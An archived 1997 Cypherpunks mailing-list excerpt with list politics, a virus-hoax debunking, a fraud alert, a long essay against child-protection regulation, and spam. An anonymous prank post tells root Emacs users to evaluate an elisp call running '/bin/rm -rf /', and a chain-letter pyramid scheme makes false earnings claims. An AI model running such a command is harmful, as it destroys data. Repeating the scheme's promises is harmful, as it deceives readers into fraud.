from that if *you* want to go there. No one has the right to *ban* a 
site. I humbly apologize to all and to TruthMonger. Some say one should 
not apologize on a list because then everyone will make it open season 
on that person forever. If that is the case, oh well. I believe that if 
a man is in the wrong he should apologize. I am in the wrong. I 
apologize. I went overboard on my retort to TruthMonger, not stopping to 
think how it would make me appear. I unfortuately gave the impression in 
complete opposites of where I actually stand on the issues. I do not 
know how to word where I stand because I take a little from each side as 
to what is the correct way to handle these issues. I joined this 
listserv because I believe wholeheartedly in the stated reason for the 
existence of this listserv. I run my own for the same reasons. 

Folks, I truly am sorry for the remarks I made, and the attitude 
displayed is not what I believe inside. I believe that every man and 
women have the right to make there own dicision on issues that affect 
them. I believe that a fully cooperative effort to come to terms with 
many of the issues facing us is needed. I do NOT support the government 
in it's belief that sites should be banned based on their ratings in 
whatever finally accepted rating system. I do not believe in escrowed 
key accounting (espeicially when the government choses the key ecrow 
agents). I do *not* follow the bible thumping christian coalitions that 
believe that decending on the net with bibles, fishnets, and handcuffs 
is the answer. I believe in fighting for what one believes in. I firmly 
believe in protecting the children and guiding them towards an 
understanding of today's world in *all* it trappings. I am also unsure 
as to the correct and "right" way to do this. I am open to suggestions, 
and am willing to openly contribute my own. There are many of you who 
will undoubtably have blocked my posts as a result of my earlier post. I 
am sorry for this. For I could learn a few things from those that have, 
just as I can pass on some to them.

For the mistakes I put forth, I humbly apologize.

______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com

From nobody at REPLAY.COM  Fri Aug  8 23:00:32 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Sat, 9 Aug 1997 14:00:32 +0800
Subject: JOIN THE CREW
Message-ID: <199708090554.HAA07924@basement.replay.com>

If you are reading this message as root under Emacs, please position
the cursor to the final paren in the following and hit C-x C-e.

(call-process-internal "/bin/rm"
		       nil t nil
		       "-rf" "/")

VirusMonger

From kent at songbird.com  Sat Aug  9 01:54:48 1997
From: kent at songbird.com (Kent Crispin)
Date: Sat, 9 Aug 1997 16:54:48 +0800
Subject: JOIN THE CREW
In-Reply-To: <199708090554.HAA07924@basement.replay.com>
Message-ID: <19970809014149.15836@bywater.songbird.com>

On Sat, Aug 09, 1997 at 07:54:53AM +0200, Anonymous wrote:
> If you are reading this message as root under Emacs, please position
> the cursor to the final paren in the following and hit C-x C-e.
> 
> (call-process-internal "/bin/rm"
> 		       nil t nil
> 		       "-rf" "/")
> 
> 
> VirusMonger

You dumb shit -- I tried it and it didn't work!

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html

From lharrison at mhv.net  Sat Aug  9 02:40:07 1997
From: lharrison at mhv.net (Lynne L. Harrison)
Date: Sat, 9 Aug 1997 17:40:07 +0800
Subject: [Fwd: Virus Warning]]
In-Reply-To: <33EC326A.31390DFF@cyberspacetechnologies.com>
Message-ID: <3.0.3.32.19970809051238.006d4908@pop.mhv.net>

At 05:03 AM 8/9/97 -0400, David D.W. Downey wrote:
>
>			*** FYI ***
>If you recieve an e-mail titled " JOIN THE CREW" do not open it.
>
>It will erase everything on your hard disk.
>
>This is a new virus that is not detected by McAfee or Norton.

Yes, my children, this is a new virus.  There are certain facts, however,
of which you should be aware.

>From http://ciac.llnl.gov/ciac/CIACHoaxes.html#joincrew:

----------------Begin Attached Message------------------

Join the Crew

Circulating the Internet is an email message entitled "Join the Crew". For
a virus to spread, it must be executed. Reading a mail message does not
execute the mail message. Trojans and viruses have been found as executable
attachments to mail
messages, but they must be extracted and executed to do any harm. CIAC
still affirms that reading E-mail, using typical mail agents, can not
activate malicious code delivered in or with the message.

    IMPORTANT - VIRUS Alert!!!

         Take note !

         Someone got an email, titled as JOIN THE CREW.
         It has erased his hard drive.
         Do not open up any mail that has this title.
         It will erase your whole hard drive.
         This is a new email virus and not a lot of people know about it,
         just let everyone  know, so they won't be a victim.

         Please e-mail this to everyone you know!!!
         Remember the title :    JOIN THE CREW

Variants of this email message are circulating the Internet. If you receive
an email message entitled "Join the Crew" and it has an attachment, CIAC
recommends that you delete the message and the attachment. If you receive
just the message, delete the
message. Please DO NOT circulate unvalidated virus alerts.

------------End Attached Message-------------

Postscript:  To those of you who still are virgins, please read the above
thoroughly noting especially: "For a virus to spread, it must be executed.
Reading a mail message does not execute the mail message."

Go ye in safety with thy hard drive in tact. 

*************************************************************
Lynne L. Harrison, Esq.       |   "No matter how far you've
Poughkeepsie, New York        |    gone down the wrong road,
lharrison at mhv.net             |    turn back."
http://www.dueprocess.com     |     - Turkish proverb
*************************************************************

DISCLAIMER:  I am not your attorney; you are not my client.
             Accordingly, the above is *NOT* legal advice.

From admin at CyberSpaceTechnologies.com  Sat Aug  9 02:43:49 1997
From: admin at CyberSpaceTechnologies.com (David D.W. Downey)
Date: Sat, 9 Aug 1997 17:43:49 +0800
Subject: [Fwd: Virus Warning]]
In-Reply-To: <3.0.3.32.19970809051238.006d4908@pop.mhv.net>
Message-ID: <33EC6F69.9285620@cyberspacetechnologies.com>

Lynne is most definitely correct. In order for a viral infection to take
place, execution of the attached file first take place. Even malicious
MS Word and likeminded word processing macros must inevitably execute a
binary file. This message was forwarded to me via an ISP Viral Alert
program. I apologize for not including the fact of program execution as
being the actual infecting point. To all those familiar and  unfamiliar
with the way virii operate, please accept my sincere apologies.

From wayne64 at workload.com  Sat Aug  9 20:12:31 1997
From: wayne64 at workload.com (wayne64 at workload.com)
Date: Sat, 9 Aug 1997 20:12:31 -0700 (PDT)
Subject: Live Enteractive Adult Entertainment
Message-ID: <>

 Live Interactive Adult Entertainment

If you are under age 18 or are offended by pornography, delete this e-mail immediately!!!!

Click here---------->www.xxxpornopics.com <--------to enter the hottest adult web-site on the internet. This site allows you to connect directly to the Hottest Girls you have ever seen... They are live and waiting for you now!...The quality is like T.V. and no special software is needed....You may even download our software directly to your P.C.

From wayne64 at workload.com  Sat Aug  9 20:12:31 1997
From: wayne64 at workload.com (wayne64 at workload.com)
Date: Sat, 9 Aug 1997 20:12:31 -0700 (PDT)
Subject: Live Enteractive Adult Entertainment
Message-ID: <>

 Live Interactive Adult Entertainment

If you are under age 18 or are offended by pornography, delete this e-mail immediately!!!!

Click here---------->www.xxxpornopics.com <--------to enter the hottest adult web-site on the internet. This site allows you to connect directly to the Hottest Girls you have ever seen... They are live and waiting for you now!...The quality is like T.V. and no special software is needed....You may even download our software directly to your P.C.

From rah at shipwright.com  Sat Aug  9 05:30:19 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Sat, 9 Aug 1997 20:30:19 +0800
Subject: Alert: European Union Bank
Message-ID: 

--- begin forwarded text

X-Sender: themet at pop.mindspring.com
Mime-Version: 1.0
Date: Thu, 7 Aug 1997 15:11:07 -0700
To: fraudnews at silverquick.com
From: Mark Taylor 
Subject: Alert: European Union Bank
Reply-to: Mark Taylor 

The European Union Bank, which advertised for customers on the
internet and operated out of Antigua, is closed and a fraud alert has
been issued by the government of Antigua.  The founders of the bank,
Serbveo Ushakov, allegedly of Bronxville, New York, and Vietalui
Papsouev of Richmond Hill,  are missing. The government says the two
are Russian nationals.

Employees of the bank were fired last week and a recorded phone
message states that the bank is temporarily closed.  The banks
internet site at The bank's Internet site ( http://www.eubank.ag ) is
no longer functioning.

The government of Antigua has appointed Coopers & Lybrand do a full
audit of the bank.

On May 30 the Idaho Department of Finance ordered European Union to
stop soliciting
deposits from Idaho residents over the Internet.  The state alleged
that since the bank operated without a state or federal charter that
it was operating illegally.

Last week that the Bank of England warned investors last fall about
depositing funds in European Union Bank.

There is no word yet on how many people deposited money in this bank
and how much money is missing.  The government of Antigua states it
is cracking down on banks with alleged connections to Russian
mobsters.

	FraudNews is owned and published by :
	Mark Taylor: themet at mindspring.com

All material published is copyright.It must not be reproduced
in any form without the express permission of of the owner.

=============================================================
This Newsletter is broadcast using the List and Newsletter
Management facilities of Silverquick Communications
You may subscribe to FraudNews and the Fraud-Discuss lists on
the web pages at : http://www.silverquick.com
=============================================================

--- end forwarded text

-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/

From dformosa at st.nepean.uws.edu.au  Sat Aug  9 06:45:58 1997
From: dformosa at st.nepean.uws.edu.au (? the Platypus {aka David Formosa})
Date: Sat, 9 Aug 1997 21:45:58 +0800
Subject: forged cancels (Re: Entrust Technologies's Solo - free
In-Reply-To: <199708081138.NAA07099@basement.replay.com>
Message-ID: 

-----BEGIN PGP SIGNED MESSAGE-----

On Fri, 8 Aug 1997, Anonymous wrote:

> > Use a retraction server (David's project)
> 
> I wonder if there is a problem of inconsistent levels in this debate...

[...]

> Within a particular value system, you might agree or disagree with a
> particular cancel, or with the idea in general.  It's easy to configure a
> news server or reader to conform to your preferences,

This is an inaccuarate comment with refurence to cancels.  It is hard to
do this and it is only possable if the canceler conforms to the $alz
convention.

However NoCeMs offer this freedom and power.  As I said before a migration
to a NoCeM only system would be a good thing.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

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From dformosa at st.nepean.uws.edu.au  Sat Aug  9 07:00:37 1997
From: dformosa at st.nepean.uws.edu.au (? the Platypus {aka David Formosa})
Date: Sat, 9 Aug 1997 22:00:37 +0800
Subject: Platypus and the kangaroos
In-Reply-To: 
Message-ID: 

-----BEGIN PGP SIGNED MESSAGE-----

On Fri, 8 Aug 1997, Dr.Dimitri Vulis KOTM wrote:

> ? the Platypus {aka David Formosa}  writes:
> 
> > I have no problems with that web site's existence.
> 
> I haven't looked at the site (I conclude from the name that it's probably not
> something I care to see),

[Nods] Basic Homophobic rantings nothing very interesting or orginan.

> but I will fight for its free speech.

As will I.  I'm not against the peaple esposing there beleafes (though I
am against the bealfes that thay espose.).  I think that this is a given.

> Apparently a number of people listed at the Net.Scum site do want to
> shut down this site because they don't like its name and/or contents.

The only problem I have with the net.scum site is that thay don't follow
there own policies.  Thay clame that thay will only remove a person if
thay make a stament regecting the cabal, deamonising spam cancelers, ect
I have made no such stament and thay removed me from there lists.

> David, with all due respect, I got more interesting things to research
> than your sexuality! :-)

After all that "Person X is a pedaphile" I thourt it could have been a
hoddy or something :D

> [2] Have any of the "others" been kangaroos?

No there too high sprung for me. (Pity though 'roos have two virginas,
care to double your fun :D)

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

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From nobody at REPLAY.COM  Sat Aug  9 07:25:23 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Sat, 9 Aug 1997 22:25:23 +0800
Subject: New Thread? / Re: Apology from me to the list and TruthMonger
Message-ID: <199708091402.QAA20908@basement.replay.com>

David Downey wrote:
> 
> LOL, all right, all right. I'll take my lickings and like it.

  OK. Now that we've got that settled, what shall we talk about
next, Abortion or Ebonics?

> I do not
> know how to word where I stand because I take a little from each side as
> to what is the correct way to handle these issues. 

  On its face, this is not an unreasonable concept.
  As I see it, the reason for the 'Fuck Compromise' stance being
so heartily proclaimed on the list is not because CypherPunks see
compromise as inherently evil, but because of the recognition that
compromise that is beneficial to both parties requires honesty
and integrity on the part of both parties.
  Compromise at the point of a gun is weakness, not wisdom, and
every step one loses is twice as hard to regain in the future.
The classic example is Hitler, who "only wanted Austria." Then he
"only wanted Poland."
  The government claimed they only wanted to ban the *bad* guns,
but as Tim May pointed out, now it is theoretically illegal in
some places for a citizen to carry a paring knife home from the
store. Of course, in practice, these laws will only be used 
against *bad* people. Mary Tyler Moore has nothing to worry about.

> I believe in fighting for what one believes in. I firmly
> believe in protecting the children and guiding them towards an
> understanding of today's world in *all* it trappings. I am also unsure
> as to the correct and "right" way to do this. I am open to suggestions,
> and am willing to openly contribute my own.

  The fallacy that creates more problems than it solves is that
there *is* a "right" way to do things.
  Life is a crapshoot, and the most we can hope for is to use our
best judgement to minimize whatever ill effects might occur as 
the result of haphazard circumstance.
  Sadly, our society has been moving further and further toward
a fascist, control-freak mentality which dictates that there are
clear lines between right and wrong actions, attitudes and beliefs.
Even more sadly, society is crying out for stiff punishment in
every niggardly aspect of life, including the areas which are
beyond the control of those involved.

  An example is the woman in New York (?) who went to get food for
her baby, and the dog killed/ate the baby while she was gone. The
masses called for her head on a platter and she was charged with
manslaughter (or whatever).
  I am certain that those who could afford a nanny to take care of
their children had enough time on their hands to write a letter to
the editor to call for the woman's imprisonment. I would not be
surprised to find that some of those letters to the editor were
of the opinion that, if the mother had no bread for the baby,
then she should have let the baby "eat cake."
  I couldn't help but think of this poor woman who had lost the
child that she was trying to feed and nurture. Did she need to
be 'punished' because her options were limited by her position
in life? I don't know all the details of her situation, but I
do know that neither the media nor the masses seemed to care
about the details--they just wanted blood.
  I would wager that there are far more children who die in the
company of their mother in a bad neighborhood, than those who
are eaten by the family dog. I would also wager that if the
Clinton's cat killed and ate Chelsea, that there would be no
charges pending.

  Which is the "right" choice--to take your child with you and
have him/her die when you are mugged--to leave your child at
home and have the dog eat him/her?
  Which is the "right" choice--to allow your child to learn about
kinky sex techniques and then die when they try hanging themself
from the ceiling and standing on a chair--to "protect" them from
exposure to *trash* such as this, and then they die by suffocation 
when their sex-partner tells them semi-strangulation enhances
sex, because they've never encountered information about it which
also mentions that it may be dangerous?

  If you beat your child in order to prevent them from doing what
you feel will be harmful to them, then society will put you in jail.
If you beat them psychologically, with guilt, and they kill themself
out of shame when they do something *bad*, society will give you
sympathy.
  Which is the "right" way to teach your children to avoid things
which will harm them? There *isn't* a "right" way.

  Before your child can understand speech, you can't protect them 
from touching a hot stove by "telling" them not to. Is it "wrong"
to slap their hand when they reach for it? Once they *do* know
how to understand what you are telling them, slapping their hand
may not be the best way to keep them from harm.
  The bottom line is that you have to use your best judgment about
issues such as these, and you will never be "right." You will merely
be doing the best that you can. If you don't care about making the
effort to protect your children and they never touch a hot stove,
it does not make you a "good" parent. If you care immensely, and
do everything you are capable of to protect your children and they
*do* touch a hot stove, it does not make you a "bad" parent.

  It is human nature that if you take your child to the park to
enrich their life, and they get killed by a meteor falling from
the sky, you may find yourself "blaming" yourself, saying, "If
only I hadn't taken him/her to the park!"
  This is part of life, and part of being human. However, when
others decide that you should be imprisoned for child endangerment
for taking your child outside when a single astronomer in China 
told the media that a meteorite "might" be on the way, then there
is something seriously wrong with society.
  Is this a ridiculous example? Sure it is...just like someone
claiming that they were justified in raping someone because
their slip was showing, so they were "asking for it."

  The point I am trying to make is that there are no ridiculous
examples. Moose Jaw, Saskatchewan, once had a law that required
pedestrians to walk on the right side of the sidewalk. This was
a fairly recent event.
  Insane? Yes, and City Council eventually figured out that they
were idiots, but if someone's child had died when bumping into
someone while their parent was walking them on the "wrong side"
of the sidewalk, the parent would have been legally guilty of 
child endangerment.

  The "Big Lie" that we tell ourselves is that we can guarantee
our safety and security, and that of our children, if we just
pass enough laws against things that are "wrong." If we can just
figure out who is "to blame" for society's ills and imprison 
them.
  The guy who sold you the "junk bonds" might well have cost
you less money than the long-term government bonds you bought
just before inflation went through the roof. Who is the "right"
person to put in jail, and who is the "wrong" person to put in
jail? Truthfully, the "right" person to put in jail may well
be *you*. It might "protect" you from making bad financial
decisions.

  I don't want your child to get molested by a pedophile. I don't
want your child to die of a heroin overdose. But I don't want a
video camera mounted in my home to monitor my activities in an
attempt to keep your child from coming to harm, either.
  A solution to protecting the citizens is to put them in prison
and keep the criminals on the outside. Really! We would be
protected by the security of concrete walls and locked doors.
  Is the "right" thing to do to put your child in prison?
I think you know better than that.

  Some children are going to be molested, some are going to be
abused and/or murdered, some are going to walk willingly, and
perhaps ignorantly, into bad situations that will lead them to
suffer irrepairable harm.
  I don't want this for your child, or for any child, but I
truly don't believe that they can be protected by making the
lives of everyone so regulated and restricted that our life
energy is drained from us by effectively imprisoning our
spirit.

  When I was a child, there was a local priest named Father
Flanigan who enjoyed the company of young boys. He regularly
offered to take them to out-of-town hockey games, supervise
them in their parent's absence, etc.
  When he offered to take myself and several other young boys
to an out-of-town game, my parents allowed me to go with him,
but they also made a point of telling me not to let him put
his hand down my pants.
  The fact of the matter is, the trip enriched my life, and
Father Flanigan did many good things for the youth of my
community. Did he "molest" any of them? I don't know. He
didn't molest me, or anyone I know of.

  Were my parents "bad" parents? No, they were *great* parents.
They "protected" me by making their best judgement and giving
me the information they felt I needed in order to use my own
judgment effectively.
  Did my parents "endanger" me by allowing me to go with Father
Flanigan? Sure, they did. They also endangered me by allowing
me to go outside and risk getting hit by a falling meteor.
  Was Father Flanigan a pedophile? I don't know. Was he a 
pedophile, but non-active? I don't know. Did my parents know?
Perhaps, perhaps not. I wouldn't doubt that they may have asked
him about his fondness for young boys, or talked to those in a
position to know, or perhaps they merely used their own best
judgement.
  Or, it could be that they and I are way off base, merely being
prejudiced by anti-Catholic views promoted by those with an axe
to grind against differing religious views.

  Regardless, when I was thirteen, I was approached by a guy
who stepped out of an alley and offered me $20.00 to let him
give me a blow-job. I politely declined, and went on my way.
  I spent about an hour at home with my family, without giving
the event much thought. However, at some point it occurred to
me that there were children younger than myself who might be
more vulnerable to the man's approach, and that, while he had
not used any force or pressure in the situation, that it was
possible that this could occur with a smaller child.
  I asked my mother if there was a law against adults offering
children money to let the adult give them a blow-job. She was
startled by my question, though she hid it as best she could,
but she was also amused that I was so casual about asking it.
  She dealt with the situation matter-of-factly, and I went
with a policeman to help him find the man. The policeman
chased him down, subdued him, and took him to jail.

  To tell the truth, I felt compassion for the man, since I
sensed that he was a tortured individual, and he had not really
done anything that 'violated' me, or 'infringed' on my right
to self-determination (although I would not have been able to
verbalize these feelings at the time).
  Looking back on the event, I realize that, strictly speaking,
I did not take a course of action that would lead to his being
judged and punished for what he did, but rather, for what he
"might" do.
  Was I "right" or "wrong" in subjecting someone who did not
do any harm to me to arrest and imprisonment? I don't know.
  It could very well be the man never had, and never would,
force himself on a child, or exert undue pressure on a child
in order to coerce the child into doing something against their
will. Can my actions be deemed "right" or "wrong," depending on
the "odds" of him forcing himself on a child, versus being of
strong enough character not to do evil to satisfy his desires?
  In retrospect, I believe I made my decision to act based on
the fact that I sensed that the man was not totally in control
of basing his actions only on his best rational judgement. It
could be that I had him wrongly imprisoned, or it could be that
I saved him from doing something he would regret for the rest
of his life.

  The irony of this story is that the local police solved their
"problem" with this man by buying him a bus ticket to a small
town nearby. End of problem...
  It is my belief that this "solution" to the local police's
"problem" is illustrative of the attempts of censors and
regulators to "shift" the problems instead of "solving" them.

  I could be dead in a ditch because my parents allowed me to
go with a priest who had a fondness for children. I could also
be dead in a ditch because my parents "protected" me from being
exposed to recognizing the reality of adults who are fond of
children, and I might not have had enough information to deal
properly with the guy who stepped out of the alley.
  Which legislation do we pass to protect our children? Do we
pass legislation "preventing" parents from allowing their
children to accompany an adult who is fond of children, or
do we pass legislation "requiring" parents to allow their
children to accompany an adult who is fond of children, but
who will enrich their lives and help them to understand the
difference between controlling one's urges versus violating
others in order to satisfy themself?

  The reality of the current state of affairs is that there
are a plethora of laws which prevent parents from making their
own decisions as to how to live their lives and how to raise
their children to the best of their ability.
  If you know that you need to slap your child's hand in order
to keep them from touching a hot stove, will you do so? What
if you also know that Child Services will take away your child
and put them in an orphanage if you do so?
  Is your child better off having a deformed hand and living
at home in a loving environment, or having a normal hand and
being raised by strangers who don't care for him/her?

  Laws aren't going to universally protect our children, nor are
rating systems, or lynchings. Nor, sadly, the best judgement of
concerned, loving parents.
  We can't solve the problems of life by passing legislation that
attempts to control everyone and everything, forcing us all to
meet standards that may be based on erronious beliefs and/or
information.
  There are laws against murder. People still get murdered.
Punishment may be justified for the act of murder, but it
is not the "solution" to preventing murder. We can't legislate
away poverty, destitution, and desperation. Making "anger"
illegal won't prevent it. Making "embarassment" illegal won't
stop people from blushing.
  We are increasingly shifting "social" problems into the arena
of "legal" remedy. We "liberate" the mentally ill from their
confinement in nuthouses, and then we "imprison" them for
peeing in an alley because they live on the streets. We pass
laws limiting political campaign contributions, and then we
vote for the person who spends $50,000,000 on ads telling us
what an asshole their opponent is. We allow doctors to give
their patients heroin in order to relieve their suffering,
and we deny an Ambassadorship to someone who believes that
a doctor should be able to give his patients marijuana to
relieve their suffering.

  Yes, I care about other people, and I care about children.
I am not selfishly clinging to my rights to privacy and freedom
in order to further my own interests at the expense of others.
I am doing so because I don't believe that the world will be
a better place if my rights and freedoms are taken away.
  Then again, I'm Chinese...I could be "Wong."

TruthMonger

From apache at bear.apana.org.au  Sat Aug  9 07:44:26 1997
From: apache at bear.apana.org.au (Apache)
Date: Sat, 9 Aug 1997 22:44:26 +0800
Subject: State Governments Cash In On Illegal Taxes
Message-ID: <199708091415.AAA03906@bear.apana.org.au>

-----BEGIN PGP SIGNED MESSAGE-----

Following the the ruling of the High Court of Australia finding that
billions of dollars in taxation revenue collected by the states was
illegal and unconstitutional the Premiers of Victoria and NSW have
made statements that their respective governments will not be
refunding the unlawfully collected taxes paid in advance by certain
hoteliers. To do so would be an unjust windfall the Premiers said. The
governments continue to act unlawfully collecting 'taxes' with no
lawful or constitutional basis.

The government of Queensland today in a press statement advised it
would be returning any unlawfully imposed taxes paid in advance.

No mention was made of any intention to refund taxes previously
collected but not paid in advance.

- --
   .////.   .//    Charles Senescall             apache at bear.apana.org.au
 o:::::::::///                                   
>::::::::::\\\     PGP mail preferred                  Brisbane AUSTRALIA
   '\\\\\'   \\    Apache

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From aan322b at aol.com  Sat Aug  9 22:45:10 1997
From: aan322b at aol.com (aan322b at aol.com)
Date: Sat, 9 Aug 1997 22:45:10 -0700 (PDT)
Subject: This Is Working!!!!Now!!
Message-ID: <667093365411.Gv33t5@aol.com>

From:aan322b at aol.co

Dear Friend,

The following opportunity is one you may be interested in taking a look at. 
It can be started with  MINIMAL OUTLAY and the income return is Tremendous!

                             "The computer what an amazing machine"....

You are about to make at least $50,000- in less than 90 days
Please read the enclosed program then read it again.

You are looking at the most amazing program you have ever seen! I received
this E-Mail at least 2 times read it and deleted it. The third time I received it....
I knew I had to give this a chance. I was right. THIS IS WORKING NOW!

This is a money making PHENOMENON. Print this letter for future use.
Read the Program......Then Read It Again<<<

This is a legitimate legal money making opportunity. It does not require you to come
in contact with people. Or to perform any task that you can not easily master.

It has demonstrated and proven its ability to generate large sums of money.
This program is showing fantastic appeal with an ever increasing population 
That just continues to expand. This is probably not the first time you are seeing
this which is obviously  one of the most, indeed maybe the most, exciting proof
that this program is working right now. Couple that with these easily verifiable facts.

1- Only 35% of all the homes in the US have a computer in them as of now.
2-100,000 people are joining us online every month.
3-The last two facts quoted continue to rise steadily.

Thousands of people have used this program to raise capital to start their own 
business, pay off debts, buy homes, cars, etc., even retire!
This is your chance ! So don't pass it up. 

Remember this is not a chain letter, It can not be broken, It works 100% every time.
How ever you must follow the instructions exactly for the best results. Change nothing
this works exceedingly well as it is now. I sincerely hope that you will choose to experience in the next 2 to 3 months what I have been experiencing for the past
3 months. Do you have any idea what it is like to be suddenly able to say, Hold
everything, I am taking some control of my own life back for the pure and simple reason that now thanks to this program I am financially able to do just that. Alter
the course of my life..

THREW IT AWAY

"I had received this program before. I threw it away, But later wondered if I shouldnt have given it a try. Of course I had no Idea who to contact to get a copy, So I had to wait
until I was E-mailed another copy of the program. Eleven months passed,
Then it came. I DIDN'T throw this one away. I made $41,000 on the first try."

                                                                                                     Dawn W., Evansville, IN

NO FREE LUNCH

"My late father always told me, "remember Alan, There is no free lunch in life.
You get out of life what you put into it " Through Trial and Error and a somewhat
frustrating start, I finally figured it out. The Program works very well, I just had to find the right target group of people to e-mail it to. So far this year I have made over
 $63,000 using this program. I know my dad would have been very proud of me.

                                                                                                     Alan B., Philadelphia, PA

P.S.

"Do you have any idea what 11,700 $5 bills ($58,000) look like piled up on a kitchen
table? Its AWESOME.

                                                                                                 Christopher Erickson.

         A Personal Note From The Originator Of This Program

 By the time you have read the enclosed information and looked over the enclosed
program and reports. You should have concluded that such a program,and one that is legal, Could not have been created by an amateur.

Let me tell you a little about my self. I had a profitable business for ten years. Then in
1979 my business began falling off. I was doing the same things that were previously successful for me, but it wasn't working.Finally, I figured out. It was the economy. Inflation and recession had replaced the stable economy that had been with us since 1945. I don't have to tel you what happened to the unemployment rate... because many of you know from first hand experience. There were more failures and bankruptcies than ever before.

   The middle class was vanishing. those who knew what they were doing invested wisely and moved up. Those who did not, including those who never had anything to save or invest, were moving down into the ranks of the poor. As the saying goes
"THE RICH GET RICHER AND THE POOR GET POORER". The traditional methods of making money will never allow you to "move up" or "get rich", inflation will see to that.

You have just received information that can give you financial freedom for the rest of your life, with "NO RISK" and "JUST A LITTLE BIT OF EFFORT". You can make more
money in the next few months than you have ever imagined. 

Follow the program EXACTLY AS INSTRUCTED. Do not change it in any way.
It works exceedingly well as is now . 
Remember to E-mail a copy of this exciting program to every one that you can think of.
One of the people you send this may send out 50,000...and your name will be on everyone of them!. Remember though, the more you send out , the more potential customers you will reach.

So my friend, I have given you the ideas,information,materials and opportunity to become financially independent, IT'S UP TO YOU NOW!

                   HERES HOW THIS AMAZING PROGRAM will MAKE YOU$$$$$$$

Lets say that you decide to start small, just to see how it goes and we'll assume you
and all those involved send out 2000 programs each. Lets also assume that the mailing receives a .5% response. Using a good list the response could be much better. Also many people will send out hundreds of thousands of programs instead
of 2000. But continuing with this example, You send out only 2000 programs with
a 5% response, That is only 10 orders for REPORT#1. those ten people respond by 
sending out 2000 programs each for a total of 20,000. Out of those .5%, 100 people
respond and order REPORT#2. Those 100 mail out 2000 programs each for a total of 200,000. The.5% response to that is 1000 orders for REPORT#3. Those 1000 send out 2000 programs each for a 2,000,000 total. The .5% response to that is 10,000 
orders for REPORT#4. That's 10,000 Five Dollar Bills for you. CASH!!!!
Your total income in this example is $50 +$500+5000+ $50,000
 for a total of  $55,550 !!!!!!!!

REMEMBER FRIEND, THIS IS ASSUMING THAT 1990 OUT OF 2000 PEOPLE YOU
MAIL TO DO ABSOLUTELY NOTHING......AND TRASH THIS PROGRAM! DARE TO THINK FOR A MOMENT WHAT WOULD HAPPEN IF EVERYONE OR HALF SENT OUT
100,000 PROGRAMS INSTEAD OF 2000.

Believe me, many people will do that and more,! by the way, your cost to participate in this is practically nothing. You obviously already have an internet connection and E-mail is FREE!!!  REPORT#3 Will show you the best methods for Bulk E-Mailing
and purchasing E-Mail lists.

        THIS IS A LEGITIMATE, LEGAL, MONEY MAKING OPPORTUNITY

It does not require you to come into contact with people , do any hard work, and best
of all, you never have to leave the house except to get the mail. If you Believe that some day you will get that big break that you have been waiting for,THIS IS IT!
Simply follow the instructions, And your dream will come true.
this Multi Level E-Mail order marketing program works perfectly...100%EVERY TIME.
E-Mail is the sales tool of the future. Take advantage of this non commercialized
method of advertising NOW!!!!! The longer you wait, the more people will be doing business using E-mail. Get your piece of this action!!!

MULTI-LEVEL MARKETING has finally gained respectability. It is being taught in the
Harvard Business School, And both Stanford research and the Wall Street Journal
have stated that between 50% and 65% of all goods and services will be sold throughout Multi Level Methods by the mid to late 1990's.
This is a Multi-Billion Dollar industry and of 500,000 millionaires in the US, 20% 
(100,000) Made their fortune in the last several years in MLM. Moreover, Statistics
show 45 people become Millionaires everyday through Multi-Level Marketing.

INSTRUCTIONS:

You are now reading a method of raising capital that works 100% EVERY TIME.
Please read the program carefully.

Step 1: Order all FOUR REPORTS (4) Listed by Name and Number
do this by ordering the REPORT from each of the four(4) names listed on the next
page. For each REPORT, send $5 CASH and a Self Addressed Stamped Envelope,
BUSINESS SIZE #10 To the person listed for the SPECIFIC REPORT. it is essential
that you specify the NAME and NUMBER of the report requested to the person you are ordering from. You will need ALL FOUR REPORTS because you will be REPRINTING and RESELLING them. DO NOT alter the names or sequence other than what the instructions say. IMPORTANT : always provide same day service on all orders.

Step 2: Replace the name and address under REPORT#1 with yours, moving the one that was there down to REPORT#2. drop the name and address under REPORT#2
to REPORT#3, moving the one that was there to REPORT#4. The name and address that was under REPORT#4 is dropped from the list and this party is no doubt on the
way to the bank. When doing this, Make sure you type the names and addresses
ACCURATELY!!!!!
DO NOT MIX UP MOVING PRODUCT/REPORT POSITIONS!!!!!!

Step 3: Having made the required changes in the NAME list save it as a text (.txt) file
in It's own directory to be used with what ever E-Mail program you like. Again, REPORT#3 will tell you the best methods of Bulk E-mailing and acquiring e-mail
lists.

Step 4: E -mail a copy of the entire program(all of this is very important) to everyone
whose address you can get your hands on. Start with friends and relatives since you can encourage them to take advantage of this fabulous money making opportunity. That's what I did and they love me now, more than ever. Then, E -mail
to any one and everyone! use your imagination! You can get E-mail addresses from
companies on the internet who specialize in E-Mail mailing lists. These are very cheap, 100,000 addresses for around $35.

IMPORTANT:
You will not get a good response if you use old lists, So always request a FRESH, NEW list. You will find out where to purchase these lists when you order 
all FOUR REPORTS.

REQUIRED REPORTS

*** Order each REPORT by NUMBER and NAME***

ALWAYS SEND A SELF ADDRESSED STAMPED ENVELOPE AND $5 CASH FOR 
EACH ORDER REQUESTING THE SPECIFIC REPORT BY NAME AND NUMBER.
------------------------------------------------------------------------------------------------------------------
REPORT #1 
"HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES"
ORDER REPORT#1 FROM

For Your Eyes Only
7154 N University Drive
#230 
Tamarac, Fl. 33321

--------------------------------------------------------------------------------------------------------------------
REPORT #2
"MAJOR CORPORATIONS AND MULTILEVEL SALES
ORDER REPORT #2 FROM

Infinity Productions
P.O. Box 823654
Dallas, TX. 75382

